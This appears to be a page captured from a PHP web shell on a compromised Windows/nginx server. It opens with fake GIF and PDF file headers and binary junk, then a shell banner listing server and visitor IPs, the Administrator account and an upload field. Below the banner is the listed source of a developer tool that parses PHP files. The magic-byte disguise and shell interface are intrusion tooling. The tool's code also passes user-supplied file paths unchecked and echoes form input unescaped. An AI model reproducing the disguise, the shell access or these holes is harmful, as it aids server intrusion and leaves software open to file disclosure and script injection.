GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/_info/ |
Upload File : |
<? // _info/infoParse.phpinc // Display the parse. // Version 2016-11-11. #t_Begin(); // Begin TRACKing included file. displayInfo('Parse PHP files for HTML, functions, or variables'); // Get form values. if ( !isset($f['parseType']) ) { formValue('parseType'); if ( !isset($f['parseType']) ) $f['parseType'] = 'Variables'; } formValue('parseFile'); ?> <form name="change_to_form_name" action="<?=php_self()?>" class="inline_info" method="post"> <input type="hidden" name="f_form" value="change_to_form_name"> <input type="hidden" name="f_uuid" value="<?=uuid()?>"> <input type="hidden" name="f_task" value="<?=$f_task?>"> <input type="radio" name="f_parseType" id="parseType_HTML" value="HTML" onChange="SetValue('subtask_id','Parse PHP file for HTML')"<? if ( $f['parseType'] == 'HTML' ) { ?> checked<? } ?>><label for="parseType_HTML">HTML tags</label> <input type="radio" name="f_parseType" id="parseType_Functions" value="Functions" onChange="SetValue('subtask_id','Parse PHP file for Functions')"<? if ( $f['parseType'] == 'Functions' ) { ?> checked<? } ?>><label for="parseType_Functions">Functions</label> <input type="radio" name="f_parseType" id="parseType_Variables" value="Variables" onChange="SetValue('subtask_id','Parse PHP file for Variables')"<? if ( $f['parseType'] == 'Variables' ) { ?> checked<? } ?>><label for="parseType_Variables">Variables</label> <br> <input type="text" name="f_parseFile" value="<?=$f['parseFile']?>" style=" font-size:1.25em; width:30em;"> <input type="submit" name="f_subtask" id="subtask_id" value=""style=" font-size:1.25em;"> <br> <? if ( isset($f['parseFile']) && $f['parseFile'] ) { // Parse the file. #d_Var("\$ROOT.'/'.\$f['parseFile']",$ROOT.'/'.$f['parseFile'],'d'); if ( file_exists($ROOT.'/'.$f['parseFile']) ) { #echo $f['parseFile']." exists<br>\n"; $fileContents = file($ROOT.'/'.$f['parseFile']); $parsedItems = array(); switch ( $f['parseType'] ) { case 'HTML': case 'Variables': switch ( $f['parseType'] ) { case 'HTML': $pattern = '/(<([\w]+)[^>]*>)(.*?)(<\/\\2>)/'; break; case 'Variables': $pattern = '/\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)/'; break; } foreach ( $fileContents as $line ) { $found = preg_match_all($pattern,$line,$matches); if ( $matches && $matches[0] ) { foreach ( $matches as $match ) { foreach ( $match as $var ) { if ( $f['parseType'] == 'Variables' ) $var = '$'.str_replace('$','',$var); // Find $f[] variables. if ( trim($var) && !in_array($var,$parsedItems) ) $parsedItems[] = $var; } } if ( $f['parseType'] == 'HTML' ) $parsedItems[] = "\n"; // Find html tags. } } break; case 'Functions': require('_info/parse/parseFunctions.phpinc'); $parsedItems = parseForFunctions($ROOT.'/'.$f['parseFile']); break; } // unsorted. if ( !isset($f['unsorted_value']) ) $f['unsorted_value'] = 1; // Set to hide if unset. ?> <a name="unsorted_name"></a> <input type="hidden" name="f_unsorted_value" id="unsorted_value_id" value="<?=$f['unsorted_value']?>"> <table><tr><td><fieldset><legend><a href="#unsorted_name" name="unsorted" onClick="return info_Set(this);"><div id="unsorted_status" class="inline"><? if ( !$f['unsorted_value']) { ?>+<? } else { ?>-<? } ?></div> unsorted</a><input type="submit" name="f_subtask" value="Update form" onClick="info_gotoName(this,'unsorted_name');"></legend> <div id="unsorted_show" class="<? if ( !$f['unsorted_value']) { ?>d_s_h <? } ?>d_s_l"> <textarea class="code_info" wrap="off"><? if ( count($parsedItems) ) { foreach ( $parsedItems as $match ) { echo htmlView($match)."\n"; } } ?> </textarea> </div> </fieldset></td></tr></table> <? // sorted. if ( !isset($f['sorted_value']) ) $f['sorted_value'] = 1; // Set to hide if unset. ?> <a name="sorted_name"></a> <input type="hidden" name="f_sorted_value" id="sorted_value_id" value="<?=$f['sorted_value']?>"> <table><tr><td><fieldset><legend><a href="#sorted_name" name="sorted" onClick="return info_Set(this);"><div id="sorted_status" class="inline"><? if ( !$f['sorted_value']) { ?>+<? } else { ?>-<? } ?></div> sorted</a><input type="submit" name="f_subtask" value="Update form" onClick="info_gotoName(this,'sorted_name');"></legend> <div id="sorted_show" class="<? if ( !$f['sorted_value']) { ?>d_s_h <? } ?>d_s_l"> <textarea class="code_info" wrap="off"><? asort($parsedItems,SORT_STRING | SORT_FLAG_CASE); foreach ( $parsedItems as $match ) { echo htmlView($match)."\n"; } ?> </textarea> </div> </fieldset></td></tr></table> <? #d_Var('$fileContents',$fileContents); d_Var('$parsedItems',$parsedItems); } else { ?><table><tr><td><? displayError($f['parseFile'].' does not exist.'); ?></td></tr></table><? } } ?> </form> <script id="scr_infoParse"> // <?=basename(__FILE__)?>:<?=__LINE__?> function SetValue(eId,value) { e = document.getElementById(eId); if ( e ) e.value = value; } var parseTypeChecked = radioGetValue('parseType'); if ( parseTypeChecked == 'HTML' ) { parseTypeChecked = 'HTML tags'; } SetValue('subtask_id','Parse PHP file for '+parseTypeChecked); </script> <? #t_End(); // End TRACKing included file. ?>